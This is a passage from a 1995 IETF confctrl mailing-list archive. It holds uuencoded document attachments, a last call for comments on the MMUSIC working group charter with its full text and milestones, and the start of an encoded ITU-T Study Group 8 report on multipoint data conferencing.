M<W1O<F4@96YD#0I%2B!24PT*)25086=E5')A:6QE<@T*)25086=E4F5S;W5R
M8V5S.B!F;VYT($%V86YT1V%R9&4M0F]O:PT*)25086=E.B`R(#(-"B4E4&%G
M95)E<V]U<F-E<SH@*&%T96YD*0T*4U,-"C`@,"`Q-B`Q-B`X,34@,3$P,"`V
M,#`@4TT-"C,R(#`@,"`Q,#`@,3`P(#`@,"`P(#DY("]!=F%N=$=A<F1E+4)O
M;VL@+V9O;G0Q($%.4TE&;VYT(&9O;G0-"C`@,"`P(&9##0HU,#0@-3`T(#$Q
M,#`@*#4N-2`@("`@("!3<&5E8V@@0V]D:6YG*2`Q,3`P(%-"#0HQ,3`T(#8R
M-2`R,#$U("@M($<N-S$Q('4M;&%W(&]R($$M;&%W(&]R(&)O=&@@36%N9&%T
M;W)Y*2`R,#$U(%-"#0HQ,3`T(#<T-B`Q,3(Y("@M($<N-S(R+"!'+C<R."!/
M<'1I;VYA;"D@,3$R.2!30@T*,3$P-"`X-C<@-S<R("@M($<N-S(S(&]P=&EO
M;F%L*2`W-S(@4T(-"C$Q,#0@.3@X(#$S,#8@*"T@3&]W(&-O;7!L97AI='D@
M86QG;W)I=&AM*2`Q,S`V(%-"#0HQ,3`T(#$Q,#D@,3@Q-R`H+2!386UE(')E
M<V5R=F5D(&-O9&4@<&]I;G1S(&%S($@N,C(Q*2`Q.#$W(%-"#0HU,#0@,3,U
M,2`Q,#(S("@U+C8@("`@("`@1&%T82!#:&%N;F5L*2`Q,#(S(%-"#0HQ,3`T
M(#$T-S(@,34P-B`H+2!4+C$R,"!I;BUB86YD(&]R(&]U="UO9BUB86YD/RD@
M,34P-B!30@T*,3$P-"`Q-3DS(#(Y.3,@*"T@1&]E<R!A;GD@<&%R="!O9B!4
M+C$R,"!'0T,@;F5E9"!T;R!B92!F<F%M92!S>6YC:')O;F]U<S\I(#(Y.3,@
M4T(-"C4P-"`Q.#,U(#$T.#$@*#4N-R`@("`@("!3=7!E<G9I<VEO;B!A;F0@
M0V]N=')O;"D@,30X,2!30@T*,3$P-"`Q.34V(#DS-R`H+2!&<F%M92!S>6YC
M<F]N;W5S*2`Y,S<@4T(-"C$Q,#0@,C`W-R`R,#$@*"T@3F\I(#(P,2!30@T*
M,3,P-2`R,#<W(#$P-#(@*&XM1G)A;64@4WEN8VAR;VYO=7,I(#$P-#(@4T(-
M"C4P-"`R,S$Y(#<V,B`H-2XX("`@("`@($UU;'1I<&QE>"D@-S8R(%-"#0HQ
M,3`T(#(T-#`@,S$U("@M($@N,C):*2`S,34@4T(-"C$Q,#0@,C4V,2`V-#D@
M*"T@3&EK92!(+C(R,S\_*2`V-#D@4T(-"C$Q,#0@,C8X,B`V,#@@*"T@<&%C
M:V5T:7IE9"D@-C`X(%-"#0HQ,3`T(#(X,#,@,34V,R`H+2!N971W;W)K('!R
M;W1O8V]L<R!<*%1#4"])4"P@971C7"DI(#$U-C,@4T(-"C$Q,#0@,CDR-"`Q
M,CDX("@M($1U<&QE>"!A;F0@<VEM;&5X(&UO9&5S*2`Q,CDX(%-"#0HU,#0@
M,S$V-B`Q-S@R("@V("`@($-/3E123TP@04Y$($E.1$E#051)3TX@7"A#)DE<
M*2D@,3<X,B!30@T*.#`T(#,R.#<@,3`T-B`H+2!,:6ME($@N,C(Q(&%N9"!(
M+C(S,"D@,3`T-B!30@T*.#`T(#,T,#@@,3`V-B`H+2!!9&1I=&EO;F%L(&UE
M<W-A9V5S*2`Q,#8V(%-"#0HX,#0@,S4R.2`Q-C4W("@M($YO($)!4R!C:&%N
M;F5L+"!U<V4@8V]N=')O;"!01%4I(#$V-3<@4T(-"C4P-"`S-S<Q(#$S,#D@
M*#<@("`@5$5234E.04P@4%)/0T5$55)%4RD@,3,P.2!30@T*-3`T(#,X.3(@
M,30P,2`H-RXQ("`@("`@(%!H87-E<R!!("`M($-A;&P@<V5T+75P*2`Q-#`Q
M(%-"#0HU,#0@-#$S-"`R,3<U("@W+C(@("`@("`@4&AA<V4@0B`M($EN:71I
M86P@9&EG:71A;"!C;VUM=6YI8V%T:6]N*2`R,3<U(%-"#0HU,#0@-#(U-2`Q
M-3$Y("@@("`@("`@("`@86YD(&-A<&%B:6QI='D@97AC:&%N9V4I(#$U,3D@
M4T(-"C$Q,#0@-#,W-B`Q.34Y("@M($ES('1H97)E(")A=61I;R!O;FQY(B!I
M;B!T:&ES(&EN:71I86P@<&AA<V4_*2`Q.34Y(%-"#0HU,#0@-#8Q."`R.3@T
M("@W+C,@("`@("`@4&AA<V4@0R`M($5S=&%B;&ES:&UE;G0@;V8@875D:6]V
M:7-U86P@8V]M;75N:6-A=&EO;BD@,CDX-"!30@T*-3`T(#0W,SD@,C`X,R`H
M-RXS+C$@("`@("`@("`@4')O8V5D=7)E(&%T(&%N<W=E<FEN9R!T97)M:6YA
M;"D@,C`X,R!30@T*-3`T(#0X-C`@,3DQ,"`H-RXS+C(@("`@("`@("`@4')O
M8V5D=7)E(&%T(&-A;&QI;F<@=&5R;6EN86PI(#$Y,3`@4T(-"C4P-"`U,3`R
M(#$S-S$@*#<N-"`@("`@("!0:&%S92!$("T@26YI=&EA;&ES871I;VXI(#$S
M-S$@4T(-"C4P-"`U,C(S(#$U,3<@*#<N-"XQ("`@("`@("`@($1E;&%Y(&-O
M;7!E;G-A=&EO;BD@,34Q-R!30@T*-3`T(#4S-#0@,C4Q,2`H-RXT+C(@("`@
M("`@("`@17AC:&%N9V4@;V8@=FED96\@8GD@;75T=6%L(&%G<F5E;65N="D@
M,C4Q,2!30@T*-3`T(#4U.#8@,3@W,R`H-RXU("`@("`@(%!H87-E($4Z($%C
M=&EO;B!D=7)I;F<@82!S97-S:6]N*2`Q.#<S(%-"#0HQ("-##0IS=&%T=7-D
M:6-T(&)E9VEN("]M86YU86QF965D(&9A;'-E('-T;W)E(&5N9`T*14H@4E,-
M"B4E4&%G951R86EL97(-"B4E4&%G95)E<V]U<F-E<SH@9F]N="!!=F%N=$=A
M<F1E+4)O;VL-"B4E4&%G93H@,R`S#0HE)5!A9V5297-O=7)C97,Z("AA=&5N
M9"D-"E-3#0HP(#`@,38@,38@.#$U(#$Q,#`@-C`P(%--#0HS,B`P(#`@,3`P
M(#$P,"`P(#`@,"`Y.2`O079A;G1'87)D92U";V]K("]F;VYT,2!!3E-)1F]N
M="!F;VYT#0HP(#`@,"!F0PT*-3`T(#4P-"`R-S4T("@W+C8@("`@("`@4&AA
M<V4@1CH@4W5P<&QE;65N=&%R>2!S97)V:6-E<R!A;F0@8V%L;"!C;&5A<FEN
M9RD@,C<U-"!30@T*-3`T(#<T-B`R,3(X("@X("`@($E.5$523U!%4D%424].
M(%=)5$@@3U1(15(@5$5234E.04Q3*2`R,3(X(%-"#0HX,#0@.#8W(#$R-S<@
M*"T@1&\@=V4@;F5E9"!A;&P@;V8@=&AE<V4_*2`Q,C<W(%-"#0HU,#0@.3@X
M(#$S.38@*#@N,2`@("`@("!3<&5E8V@@;VYL>2!T97)M:6YA;',I(#$S.38@
M4T(-"C$Q,#0@,3$P.2`Q.38U("@M($UA>2!N;W0@8F4@<&]S<VEB;&4@9'5E
M('1O(&5C:&\@:7-S=65S*2`Q.38U(%-"#0HU,#0@,3(S,"`R-C0X("@X+C(@
M("`@("`@5FES=6%L('1E;&5P:&]N92!T97)M:6YA;',@;W9E<B!T:&4@25-$
M3B!<*$@N,S(P7"DI(#(V-#@@4T(-"C$Q,#0@,3,U,2`Q-#$Q("@M(%5S:6YG
M($@N,S):+C(O25-$3B!G871E=V%Y*2`Q-#$Q(%-"#0HU,#0@,30W,B`R-#<X
M("@X+C,@("`@("`@5FES=6%L('1E;&5P:&]N92!T97)M:6YA;',@;W9E<B!0
M3U13(%PH2"XS,C1<*2D@,C0W."!30@T*,3$P-"`Q-3DS(#$R,"`H+2`_*2`Q
M,C`@4T(-"C4P-"`Q-S$T(#,P,3@@*#@N-"`@("`@("!6:7-U86P@=&5L97!H
M;VYE('1E<FUI;F%L<R!O=F5R($UO8FEL92!2861I;R!<*$@N,S(T+TU<*2D@
M,S`Q."!30@T*,3$P-"`Q.#,U(#@S,2`H+2!&;W(@9G5R=&AE<B!S='5D>2D@
M.#,Q(%-"#0HU,#0@,3DU-B`R-#<V("@X+C4@("`@("`@5FES=6%L('1E;&5P
M:&]N92!T97)M:6YA;',@;W9E<B!!5$T@(%PH2"XS,C%<*2D@,C0W-B!30@T*
M,3$P-"`R,#<W(#$T,3D@*"T@57-I;F<@2"XS,EHN,B]!5$T@1V%T97=A>2D@
M,30Q.2!30@T*-3`T(#(Q.3@@,CDX,2`H."XV("`@("`@(%9I<W5A;"!T96QE
M<&AO;F4@=&5R;6EN86QS(&]V97(@1W5A<F%N=&5E9"!1=6%L:71Y(&]F*2`R
M.3@Q(%-"#0HU,#0@,C,Q.2`Q,C4T("@@("`@("`@("`@4V5R=FEC92!,04YS
M(%PH2"XS,C)<*2D@,3(U-"!30@T*,3$P-"`R-#0P(#(S,C(@*"T@57-I;F<@
M2"XS,EHN,B!G871E=V%Y(&%N9"!(+C,R6BXR(&=A=&5W87D_/RD@,C,R,B!3
M0@T*-3`T(#(V.#(@,30X,"`H.2`@("!/4%1)3TY!3"!%3DA!3D-%345.5%,I
M(#$T.#`@4T(-"C4P-"`R.#`S(#DX."`H.2XQ("`@("`@($1A=&$@9F%C:6QI
M=&EE<RD@.3@X(%-"#0HQ,3`T(#(Y,C0@,CDW("@M(%0N,3(P*2`R.3<@4T(-
M"C$Q,#0@,S`T-2`S,#DP("@M($1O97,@9F%R(&5N9"!C86UE<F$@8V]N=')O
M;"!M86ME('-E;G-E(&EN(&QA;B!B87-E9"!S>7-T96US*2`S,#DP(%-"#0HQ
M,3`T(#,Q-C8@,3DS-B`H=VAI8V@@87)E(&UO<W0@;&EK96QY(&1E<VMT;W`@
M=&5R;6EN86QS/RD@,3DS-B!30@T*-3`T(#,T,#@@.#0W("@Y+C(@("`@("`@
M16YC<GEP=&EO;BD@.#0W(%-"#0HQ,3`T(#,U,CD@,S(R("@M($@N,C,S*2`S
M,C(@4T(-"C4P-"`S-S<Q(#$V,S,@*#$P("`@355,5$E03TE.5"!#3TY3241%
M4D%424].4RD@,38S,R!30@T*-3`T(#,X.3(@,3DS("@Q,"XQ*2`Q.3,@4T(-
M"C$Q,#0@,S@Y,B`V.3@@*$Q!3B!-=6QT:7!O:6YT*2`V.3@@4T(-"C$Q,#0@
M-#`Q,R`R,3@W("@M($1O('=E(&YE960@86X@34-5+V=A=&5W87D@:6X@=&AI
M<R!C87-E/RD@,C$X-R!30@T*-3`T(#0Q,S0@,3DS("@Q,"XR*2`Q.3,@4T(-
M"C$Q,#0@-#$S-"`W-#@@*%=!3B!-=6QT:7!O:6YT*2`W-#@@4T(-"C$Q,#0@
M-#(U-2`R,30U("@M($=A=&5W87ES(&5M=6QA=&4@87)R87D@;V8@2"XS,C`@
M=&5R;6EN86QS*2`R,30U(%-"#0HQ,3`T(#0S-S8@,34U,"`H+2!'871E=V%Y
M<R!E;75L871E($@N,C0S($U#52D@,34U,"!30@T*-3`T(#0V,3@@.3$Q("@Q
M,2`@($U!24Y414Y!3D-%*2`Y,3$@4T(-"C4P-"`T-S,Y(#(R,#8@*#$Q+C$@
M("`@("!,;V]P8F%C:W,@9F]R(&UA:6YT96YA;F-E('!U<G!O<V5S*2`R,C`V
M(%-"#0HQ,3`T(#0X-C`@.#<Q("@M(%-A;64@87,@:6X@2"XR-#(I(#@W,2!3
M0@T*,2`C0PT*<W1A='5S9&EC="!B96=I;B`O;6%N=6%L9F5E9"!F86QS92!S
M=&]R92!E;F0-"D5*(%)3#0HE)5!A9V54<F%I;&5R#0HE)5!A9V5297-O=7)C
M97,Z(&9O;G0@079A;G1'87)D92U";V]K#0HE)51R86EL97(-"E-61&]C(')E
M<W1O<F4-"F5N9`T*)25086=E<SH@,PT*)25$;V-U;65N=%-U<'!L:65D4F5S
M;W5R8V5S.B!P<F]C<V5T(%=I;C,U1&EC="`S(#$-"@T*)25$;V-U;65N=$YE
M961E9%)E<V]U<F-E<SH@9F]N="!!=F%N=$=A<F1E+4)O;VL-"@T*)25%3T8-
""@0`
`
end

--=====================_797143171==_--


From owner-confctrl@ISI.EDU  Wed Apr 12 05:48:45 1995
Received: by venera.isi.edu (5.65c/5.61+local-21)
	id <AA03525>; Wed, 12 Apr 1995 12:48:52 -0700
Received: from std.sri.com by venera.isi.edu (5.65c/5.61+local-21)
	id <AA03521>; Wed, 12 Apr 1995 12:48:51 -0700
Received: from churchy.std.sri.com by std.sri.com (4.1/SMI-4.1)
	id AA04685; Wed, 12 Apr 95 12:48:47 PDT
Message-Id: <9504121948.AA04685@std.sri.com>
To: confctrl
Cc: rlang@std.sri.com
Subject: last call for revised charter comments
Date: Wed, 12 Apr 1995 12:48:45 -0700
From: Ruth Lang <rlang@std.sri.com>


We need to finalize the charter so that it can be circulated to
Allison Mankin (Transport Area Chair) and the IESG for approval.

It was noted that the Session Description Protocol should be targeted
for Proposed Standard.  Are there any content or other milestone
changes that need to be made?  Please send any comments to the mailing
list by 4/14.

Thanks,

Ruth Lang
---------------------------------------


Multiparty Multimedia Session Control (mmusic)
----------------------------------------------

Charter

Current Status: Active Working Group

Chairs:
     Mark Handley		<m.handley@cs.ucl.ac.uk>
     Ruth Lang			<rlang@sri.com>  
     Eve Schooler		<schooler@cs.caltech.edu>

Transport Area Director:
     Allison Mankin		<mankin@isi.edu>

Mailing lists:
     General Discussion		confctrl@isi.edu
     To Subscribe		confctrl-request@isi.edu
     Archive			ftp.isi.edu:confctrl/confctrl.mail

Description of Working Group:

The demand for Internet multimedia teleconferencing has arrived as
evidenced by the explosive growth of the MBONE.  Multimedia session
control, defined as the advertisement, management, and coordination of
multiple sessions and their multiple users in multiple media (e.g.,
audio, video, collaborative applications), is one component of the
infrastructure required to support widespread teleconferencing.  The
Multiparty MUltimedia SessIon Control Working Group (MMUSIC) is
chartered to design and specify three protocols to perform these
functions, and to ensure session-level interoperability between
different teleconferencing implementations.

The protocols defined by this Working Group will support a range of
conference styles from tightly- to loosely-controlled sessions.
Tightly-controlled sessions require some degree of consistency among
sites, and often provide mechanisms to directly contact other users
for conference initiation and for negotiation of parameters such as
membership, media encodings, and encryption keys.  Loosely-controlled
sessions are more tolerant of losses and inconsistencies, permit fluid
(even unknown) membership, and rely on well-known, published
conference characteristics to dictate policy of constituent
applications.

Originally chartered to propose tightly-controlled conferencing
solutions, this group was rechartered in April 1995 to provide a more
balanced focus on the range of conferencing styles, with renewed
attention to solutions for the loosely-controlled conferences that are
pervasive on the MBONE today.  Toward this end, MMUSIC has already
sponsored the design and implementation of a Session Agreement
Protocol to manage shared ephemeral teleconferencing state for both
tightly- and loosely-controlled conferences.  The Working Group will
formally document the Session Agreement Protocol, and provide an
accompanying usage document to describe its application to the
coordination of multiple users in multiple media.  MMUSIC will adopt
additional goals including the documentation and extension of the
Session Description Protocol (SDP), the development of a Framework
document which embodies the architectural working model for protocols
developed by this Working Group, and the development of a Session
Coordination Protocol to manage the distributed processes (media
agents) that comprise the endpoint of a user's session.

The Working Group's protocols will reflect coordination with other
efforts related to multimedia conferencing, such as the RTP and RTCP
protocols developed by the Audio/Video Transport Working Group,
resource reservation and management at the network level, schemes for
multicast address allocation, World-Wide Web- and email-based session
advertisement and orchestration, and directory services for
cataloguing users and sessions.  In addition, the Working Group's
protocols will identify and describe interoperability issues with
related international standards such as T.120 (e.g., T.124, Generic
Conference Control) and industry consortium specifications such as the 
Personal Conferencing Working Group, and establish liaisons to the related
standards body if appropriate for the purpose of ensuring widely
usable standards.

The Working Group will be supported by the three Co-Chairs who will
share responsibility for technical direction of the working group.
Mark Handley and Ruth Lang will be responsible for the "day-to-day"
operation and management of the Working Group (e.g., meeting
scheduling, minutes, etc.).  Eve Schooler's role will be as primary
architect; she will not perform much of the "day-to-day" management of
the Working Group because of full-time doctoral program load.


Goals and Milestones:

Mar  95	Post an Internet-Draft describing the Session Description Protocol.

May  95  Post an Internet-Draft describing the MMUSIC Architectural Framework.

Jun  95	Submit a revised Internet-Draft on the Session Description Protocol.

Nov  95	Submit the Session Description Protocol to the IESG for
	consideration as an Experimental Protocol.

Apr  95	Post an Internet-Draft describing the Session Agreement Protocol.

Jun  95	Submit a revised Internet-Draft on the Session Agreement Protocol.

Nov  95 Submit the Session Agreement Protocol to the IESG for
	consideration as an Experimental Protocol.

Jul  95	Post an Internet-Draft describing the Usage of the Session
	Agreement Protocol.

Sept 95	Submit a revised Internet-Draft on the Session Agreement
	Protocol Usage document.

Nov  95	Submit the Session Agreement Protocol Usage document to the
	IESG for consideration as an Informational RFC.


Jul  95	Post an Internet-Draft describing Requirements for a Session
	Coordination Protocol.

Sept 95	Post an Internet-Draft describing the Session Coordination Protocol.

Jan  96	Submit a revised Internet-Draft on the Session Coordination Protocol.

Mar  96	Submit the Session Coordination Protocol to the IESG for
	consideration as an Experimental Protocol.

[Last updated: 3/30/95]

From owner-confctrl@ISI.EDU  Wed Apr 12 11:24:30 1995
Received: by venera.isi.edu (5.65c/5.61+local-21)
	id <AA17641>; Wed, 12 Apr 1995 18:24:59 -0700
Received: from ix3.ix.netcom.com by venera.isi.edu (5.65c/5.61+local-21)
	id <AA17637>; Wed, 12 Apr 1995 18:24:58 -0700
Received: from  by ix3.ix.netcom.com (8.6.12/SMI-4.1/Netcom)
	id SAA14746; Wed, 12 Apr 1995 18:24:30 -0700
Date: Wed, 12 Apr 1995 18:24:30 -0700
Message-Id: <199504130124.SAA14746@ix3.ix.netcom.com>
From: krechmer@ix.netcom.com (Ken Krechmer)
Subject: Report from Study Group 8 on multi-point data conferencing 
To: confctrl

begin 644 Q103952.DOC
MVZ4M````"00`````````````````````@`$```@W``#[0@``````````````
M`````````',U````````$P````````````````````````````````````!`
M``""`0!```""`8)!`````()!`````()!`````()!`````()!```.`)!!````
M`````````)!!`````)!!`````)!!```,`)Q!```*`*9!```*`````````+!!
M``!6``="```6`!U"```6`#-"`````#-"`````#-"`````#-"```&`#E"```0
M`$E"```,````````````````````````````````````````````````````
M`````%5"```T`(E"``!R`/M"`````/M"````````````````````````````
M````'``=``$``P``````````````````````````````````````````````
M````````````````````````````````43$P(%-U;6UA<GD@36%R8V@@,30@
M+2`R,RP@,3DY-2!'96YE=F$@#0HH0V]M<&QE;65N=',@;V8@0V]M;75N:6-A
M=&EO;G,@4W1A;F1A<F1S(%)E=FEE=RD-"E%U97-T:6]N(#$P(&ES('1H92!P
M87)T(&]F($E452U4("AP<F5V:6]U<VQY($-#2514*2!3='5D>2!'<F]U<"`X
M('=H97)E('=O<FL@;VX@;75L=&DM<&]I;G0@9&%T82!C;VYF97)E;F-I;F<@
M:7,@9&]N92X@5&AE<F4@:7,@=6YF;W)T=6YA=&5L>2!A(&=R96%T(&1E86P@
M;V8@:F%R9V]N(&EN('1H:7,@<F5P;W)T(&)U="!T:&4@<V-I96YC97,@87)E
M(&AI97)A<F-H:6,@86YD('1H92!J87)G;VX@<V5R=F5S(&%S('!O:6YT97)S
M('1O('!R979I;W5S('=O<FLN("!)(&AO<&4@=&AE(&UO<F4@:6YT97)E<W1E
M9"!M96UB97)S(&]F('1H:7,@8V]N9F5R96YC92!W:6QL('-T<G5G9VQE('1H
M<F]U9V@N("!/<B!E+6UA:6P@<75E<W1I;VYS('1O(&UE+@T*("`@0V]M;75N
M:6-A=&EO;G,@4W1A;F1A<F1S(%)E=FEE=R!496QE8V]M;75N:6-A=&EO;G,@
M:7,@82!T96-H;FEC86P@:F]U<FYA;"`H2V5N($MR96-H;65R('1E8VAN:6-A
M;"!E9&ET;W(I(')E<&]R=&EN9R!O;B!F;W)M86P@<W1A;F1A<F1S('=O<FLN
M("!#4U(@86QS;R!R97!O<G1S(&]N(%-'(#$U("AW:&5R92!(+C,R6"!V:61E
M;R!C;VYF97)E;F-I;F<@:7,@9&]N92D@86YD(%-'(#$T("AW:&5R92!6+C,T
M('=A<R!D;VYE*2!A<R!W96QL(&%S(')E;&%T960@55,@=&5C:&YI8V%L(&-O
M;6UI='1E97,@5%(M,CDL(%12+3,P+"!44BTT,2X@1F]R(&%D9&ET:6]N86P@
M:6YF;W)M871I;VX@*'1H:7,@:7,@=&AE(&]N;'D@<&QU9RD@;VX@0U-2+50@
M*'-U8G-C<FEP=&EO;G,@87)E("0U.34N,#`@<&5R('EE87(I("!C;VYT86-T
M($4N($)A<VMI;B`@=&5L.B`T,34@.#4V+3@X,S8@;W(@-S(U-#`N,3$S0&-O
M;7!U<V5R=F4N8V]M+@T*5&AE('5P9&%T960@86-T:6]N('!L86X@:7,@9VEV
M96X@:6X@5$0M,C$X-RX@16QE8W1R;VYI8R!D<F%F=',@;V8@=V]R:VEN9R!D
M;V-U;65N=',@87)E('!O<W1E9"!A="!T:&4@86YO;GEM;W5S($944"!S:71E
M(&9T<"YC<VXN;F5T(&EN('-U8F1I<F5C=&]R>2!#;VYF97)496-H+B`@0V]R
M<F5S<&]N9&5N8V4@;6%Y(&)E(&-O;F1U8W1E9"!T:')O=6=H('1H92!%;6%I
M;"!R969L96-T;W(@=#$R,"UI;G1E<F5S=$!W;W)L9"YS5$0M+F-O;2X@(%1O
M(&IO:6XL('-E;F0@16UA:6P@=&\@=#$R,"UI;G1E<F5S="UR97%U97-T+@T*
M"4EN=&5R:6T@;65E=&EN9W,-"C,Q($IU;'D@+2`T($%U9W5S="`Q.3DU"5%U
M96)E8R!#:71Y+"!#86YA9&$-"C$X+3(Y(%-E<'1E;6)E<B`Q.3DU"5!A<FES
M+"!&<F%N8V4@*&1A=&5S('1O(&)E('-E;&5C=&5D*2`-"DYO=&4@+2!4:&4@
M5"XQ,C@@059#(&5D:71O<B!W:6QL(&AO;&0@86X@860@:&]C('=O<FMI;F<@
M;65E=&EN9R`X+3$P($UA>2`Q.3DU(&EN($QE>&EN9W1O;BP@2V5N='5C:WDL
M(%5302X-"E=H:71E(&1O8W5M96YT<R!F:6YA;&EZ:6YG(%0N,3(P(&%N9"!4
M+C$R,2!W:6QL(&)E('-U8FUI='1E9"!B>2`Q-2!/8W1O8F5R(#$Y.34@869T
M97(@<F5V:65W(&%N9"!A<'!R;W9A;"!O9B!T:&4@;65M8F5R<R!A="!T:&4@
M<V5C;VYD(&EN=&5R:6T@;65E=&EN9RX@($$@<W1A8FQE(&1R869T(&]F(%0N
M,3(X(&%N9"!A('-T86)L92!R979I<VEO;B!O9B!4+C$R,R!W:6QL(&)E('-U
M8FUI='1E9"!A<R!D96QA>65D(&1O8W5M96YT<R!F;W(@9&5T97)M:6YA=&EO
M;B!O9B!297-O;'5T:6]N($YO+B`Q(&%T('1H92!&96)R=6%R>2`Q.3DV(&UE
M971I;F<@;V8@4T<@."X-"@E3=6)M:71T960@9F]R(&1E8VES:6]N('5N9&5R
M(%)E<V]L=71I;VX@3F\N(#$@870@=&AI<R!M965T:6YG#0I41"TR,3@T("AA
M;65N9&UE;G0@;V8@0T]-(#@M-C,M12D@:7,@=&AE(&9I;F%L(&1R869T(%)E
M8V]M;65N9&%T:6]N(%0N,3(T($=E;F5R:6,@0V]N9F5R96YC92!#;VYT<F]L
M#0I41"TR,3@U("!A;F0@8V]R<FEG96YD=6T@*&%M96YD;65N="!O9B!#3TT@
M."TV-BU%*2!I<R!T:&4@9FEN86P@9')A9G0@4F5C;VUM96YD871I;VX@5"XQ
M,C8L($UU;'1I<&]I;G0@<W1I;&P@:6UA9V4@86YD(&%N;F]T871I;VX@<')O
M=&]C;VP-"E1$+3(Q.#8@(&%N9"!C;W)R:6=E;F1U;2`H86UE;F1M96YT(&]F
M($-/32`X+3DR+44I:7,@=&AE(&9I;F%L(&1R869T(%)E8V]M;65N9&%T:6]N
M(%0N,3(W+"!-=6QT:7!O:6YT(&)I;F%R>2!F:6QE('1R86YS9F5R('!R;W1O
M8V]L+@T*"5-U8FUI='1E9"!F;W(@9&5T97)M:6YA=&EO;B!O9B!297-O;'5T
M:6]N($YO+B`Q#0I41"TR,3@S(&ES('1H92!A8G-T<F%C=',@;V8@4F5C;VUM
M96YD871I;VYS(%0N,3(P(&%N9"!4+C$R,2!P<F]P;W-E9"!F;W(@9&5C:7-I
M;VX@870@=&AE($9E8G)U87)Y(#$Y.38@;65E=&EN9PT*1FEN86P@9')A9G1S
M(&]F('1H97-E(&1O8W5M96YT<R!W:6QL(&)E('-U8FUI='1E9"!A<R!W:&ET
M92!C;VYT<FEB=71I;VYS(&)Y(#$U($]C=&]B97(@,3DY-2X-"@E296-O;6UE
M;F1A=&EO;G,@86YD(&5D:71O<G,-"E)E8PT'5V]R:VEN9R!4:71L90T'161I
M=&]R#0<-!U0N,3(P#0=$871A(%!R;W1O8V]L<R!F;W(@375L=&EM961I82!#
M;VYF97)E;F-I;F<-!THN($)O=6-H97(-!PT'5"XQ,C$-!T=E;F5R:6,@07!P
M;&EC871I;VX@5&5M<&QA=&4-!U0N(%!E97)S#0<-!U0N,3(R#0=-0U,@4V5R
M=FEC92!$969I;FET:6]N#0=287!P;W)T975R#0<-!U0N,3(S#0=!=61I;W9I
M<W5A;"!0<F]T;V-O;"!3=&%C:W,-!U0N($QY;VYS#0<-!U0N,3(T#0='96YE
M<FEC($-O;F9E<F5N8V4@0V]N=')O;`T'2BX@0F5R;G-T96EN#0<-!U0N,3(U
M#0=-0U,@4')O=&]C;VP@4W!E8VEF:6-A=&EO;@T'5"X@3'EO;G,-!PT'5"XQ
M,C8-!TUU;'1I<&]I;G0@4W1I;&P@26UA9V4@86YD($%N;F]T871I;VX@4')O
M=&]C;VP-!U`N(%)O;6%N;PT'#0=4+C$R-PT'375L=&EP;VEN="!":6YA<GD@
M1FEL92!4<F%N<V9E<B!0<F]T;V-O;`T'5"X@4&5E<G,-!PT'5"XQ,C@-!T%U
M9&EO(%9I<W5A;"!#;VYT<F]L(&9O<B!-=6QT:7!O:6YT($UU;'1I;65D:6$@
M4WES=&5M<PT'2BX@0F]U8VAE<@T'#0=4+E)%4PT'0V]N9F5R96YC92!297-E
M<G9A=&EO;B!0<F]T;V-O;',-!T(N($-E8V-A;&1I#0<-!PE4+C$R,"`M($1A
M=&$@4')O=&]C;VQS(&9O<B!-=6QT:6UE9&EA($-O;F9E<F5N8VEN9PT*1#(R
M-2P@*$HN($)O=6-H97(@0E0I('1H92!P<F]P;W-E9"!D<F%F="!O9B!4+C$R
M,"`@=V%S(')E=FEE=V5D+B!3;VUE(&]F('1H92!D97-C<FEP=&EO;B!O9B!-
M0U,@=VEL;"!B92!C;W)R96-T960N("!4:&4@;W9E<G9I97<@;V8@5"XQ,C8@
M=VEL;"!B92!R97=R:71T96X@:6X@;&EN92!W:71H('1H92!A<'!R;W9E9"!T
M97AT+B`@5&AE('-E8W1I;VX@;VX@059#('=I;&P@8V%U=&EO;B!T:&%T('1H
M92!W;W)K(&ES(&YO="!Y970@9FEN86QI>F5D+B`@0F%N9'=I9'1H(&-O;G1R
M;VP@=VEL;"!B92!D96QE=&5D(&9R;VT@=&AE(&-H86YN96P@86QL;V-A=&EO
M;G,@;V8@06YN97@@02X@($%P<&5N9&EX(#$@82!M;V1E;"!O9B!T:&4@05!)
M<R!W:6QL(&)E(')E;6]V960@96YT:7)E;'DL('-I;F-E('-O;64@8V]N<V]R
M=&EA("AE+F<N($E-5$,L($EN=&5R;F%T:6]N86P@375L=&EM961I82!496QE
M8V]N9F5R96YC:6YG($-O;G-O<G1I=6T@55),/6AT='`Z+R]W=W<N:6UT8RYO
M<F<O:6UT8RD@9&\@;F]T('!I8W1U<F4@=&AE($%022!S=')U8W1U<F4@=&AI
M<R!W87D@86YD('1H92!R96QA=&EO;G-H:7`@8F5T=V5E;B!T:&4@9&%T82!S
M=&%C:R!A;F0@=&AE(&%U9&EO('9I<W5A;"!S>7-T96T@:7,@8F5Y;VYD('1H
M92!S8V]P92!O9B!T:&ES('=O<FLN+@T*5&AE(&-O;F9O<FUA;F-E(')E<75I
M<F5M96YT<R!O9B!S96-T:6]N(#$P('=I;&P@;6%N9&%T92!-0U,@<')O=&]C
M;VP@=F5R<VEO;B`R("A086-K960@16YC;V1I;F<@4G5L97,I(&%S('-P96-I
M9FEE9"!I;B!4+C$R-2X@(%0N,3(V('=I;&P@;F]T(&)E(&UA;F1A=&5D(&%S
M('1H92!O;FQY('-O;'5T:6]N(&9O<B!A<'!L:6-A=&EO;B!S:&%R:6YG+"!B
M96-A=7-E(&ET<R!P<F]V:7-I;VYS(&9O<B!R96UO=&4@:V5Y8F]A<F0@86YD
M('!O:6YT:6YG(&1E=FEC92!E=F5N=',@87)E(&]P=&EO;F%L(&%N9"!R96UA
M:6X@=&\@8F4@<')O=F5N(&5F9F5C=&EV92X-"@E4+C$R,2`M($=E;F5R:6,@
M07!P;&EC871I;VX@5&5M<&QA=&4@*%0N1T%4*0T*1#(R-B`H5"X@4&5E<G,L
M($)4*2!D<F%F="!4+D=!5"!W87,@<F5V:65W960N("!4:&4@961I=&]R(&YO
M=&5D('1H870@='=O('=O<FL@:71E;7,@<F5M86EN(&9R;VT@=&AE(&EN=&5R
M:6T@;65E=&EN9RX@(%1H92!!<'!L:6-A=&EO;B!297-O=7)S92!-86YA9V5R
M("A!4DTI(&EN=&5R9F%C92!S:&]U;&0@8F4@;6%D92!P<F5C:7-E(&5N;W5G
M:"!S;R!T:&%T(%0N,3(V(&%N9"!4+C$R-R!C86X@<F5F97)E;F-E(%0N,3(Q
M(&EN(&9U='5R92!E9&ET:6]N<R!A;F0@;F5E9"!N;W0@9'5P;&EC871E(&ET
M<R!C;VYT96YT+B`@06YD(&$@='5T;W)I86P@<VAO=6QD(&)E(&%D9&5D(&]N
